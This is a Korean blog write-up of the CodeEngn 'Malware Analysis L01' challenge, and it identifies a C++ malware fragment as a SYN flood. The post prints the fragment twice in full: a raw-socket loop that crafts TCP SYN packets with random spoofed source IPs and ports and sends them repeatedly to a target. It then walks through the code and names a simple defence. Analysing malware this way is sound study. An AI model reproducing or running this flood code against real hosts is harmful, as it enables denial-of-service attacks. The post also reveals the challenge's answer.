Search

[CodeEngine] Malware Analysis L01

Tags
reversing
Category
CodeEngn
Last Edited time
2022/01/07 12:50
Visibility
Public

1. 문제

다음 파일은 악성코드 소스의 일부분이다. 이것의 공격방법은 무엇인가 ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)
Plain Text
복사
cpp 파일이 하나 주어진다. 코드 분석을 바로 들어가보자

2. 접근방법

addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP; ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128; ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP; tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2; tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0; lTimerCount=GetTickCount(); while(g_cMainCtrl.m_cDDOS.m_bDDOSing) { i++; tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort); psdHeader.daddr=ipHeader.destIP; // destination IP setting psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP; psdHeader.tcpl=htons(sizeof(tcpHeader)); ipHeader.sourceIP=htonl(lSpoofIP); tcpHeader.th_sport=htons((rand()%1001)+1000); // source port rand generate tcpHeader.th_seq=htons((rand()<<16)|rand()); psdHeader.saddr=ipHeader.sourceIP; // source IP setting memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); // 위에서 세팅한 psdHeader 구조체를 szSenBuf에 복사. 아마도 memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); // TCP 헤더 복사 tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in)); if(rect==SOCKET_ERROR) return false; if((GetTickCount()-lTimerCount)/1000>len) break; if(bRandPort) { TargetPort=brandom(1000, 10000); } // target port rand generate szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255); szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255); //source IP rand generate Sleep(delay); } xClose(sock);
C++
복사
1번 문제라 그런지 쉽다. while 문 전의 과정은 패킷 전송을 위한 초기화 과정이라고 보면 된다. 간단히 보면
addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP; ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128; ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP; tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2; tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
C++
복사
struct sockaddr 구조체에다가 주소체계, 실 IP 를 저장한다.
ipHeader, tcpHeader를 세팅한다
Target IP, Target port 세팅
tcp Header에서 flag를 2로 세팅 - 해당 패킷은 syn 패킷을 위함이다
이제 While 문을 돌면서 패킷을 계속 보낸다
while(g_cMainCtrl.m_cDDOS.m_bDDOSing) { i++; tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort); psdHeader.daddr=ipHeader.destIP; // destination IP setting psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP; psdHeader.tcpl=htons(sizeof(tcpHeader)); ipHeader.sourceIP=htonl(lSpoofIP); tcpHeader.th_sport=htons((rand()%1001)+1000); // source port rand generate tcpHeader.th_seq=htons((rand()<<16)|rand()); psdHeader.saddr=ipHeader.sourceIP; // source IP setting memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); // 위에서 세팅한 psdHeader 구조체를 szSenBuf에 복사. 아마도 memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); // TCP 헤더 복사 tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in)); if(rect==SOCKET_ERROR) return false; if((GetTickCount()-lTimerCount)/1000>len) break; if(bRandPort) { TargetPort=brandom(1000, 10000); } // target port rand generate szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255); szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255); //source IP rand generate Sleep(delay); }
C++
복사
코드가 쫌 이상하긴 한데 초기에 설정된 Target IP, Target Port와 Source IP, Source Port를 설정한다
source IP는 ISpoofIP 변수를 이용하는데, 해당 변수는 매 루프마다 랜덤하게 생성된 IP이다
target port 역시 1000 - 10000 사이의 랜덤하게 생성된 port이다
source port 역시 랜덤하게 생성된다
sendto로 ip+Tcp 헤더로 구성된 패킷을 보낸다. 왜냐하면 초기 세팅에서 tcp flag가 2였기 때문에
flag = 2 라는 소리는 syn flag가 set 되있단 소리이다. 만약 ack 패킷이라면 위 사진처럼 0x10가 flag 값일 것이다

3. 풀이

코드 분석을 통해 알아낸 정보는 다음과 같다.
랜덤한 IP와 랜덤한 Port로 타겟이 되는 IP에 랜덤한 Port에 패킷을 보낸다. 이 말은 Target에 열려있는 포트를 찾으려는 행위로 판단된다. 또한
뭔가 타겟에 지속적인 syn 패킷을 보내는데 이와 관련된 네트워크 기법들을 찾아보던 중 syn flood를 찾았다. tcp connection을 시도만 계속 하게끔 한다는 말은
위 그림과 같이 해커가 타겟이 되는 호스트에 지속적으로 패킷을 보내게 되면 tcp connection 부터 시작되는데 target에서 tcp 연결을 위해 syn+ack을 응답으로 보내지만 해커는 ack을 보내지 않는다.
즉 타겟은 tcp 연결을 하려고 계속 기다리고 있고, 그 때에도 해커는 랜덤한 IP와 port로 또 syn을 보내기 때문에 타겟 내부에서 버퍼가 넘치게 된다. 이를 syn flood 공격이라고 한다. 이도 어찌보면 dos인데 dos는 정답이아니네.. ㅋ
syn flood를 막으려면 syn 패킷의 개수를 제한해두고 그 이상이 들어오면 연결요청을 막아버리는 식으로 방어하면 된다.
SYN-Flood attack ⇒ Dos ⇒ Target의 자원 고갈 시키기
저렇게 정리하면 될듯

4. 몰랐던 개념

none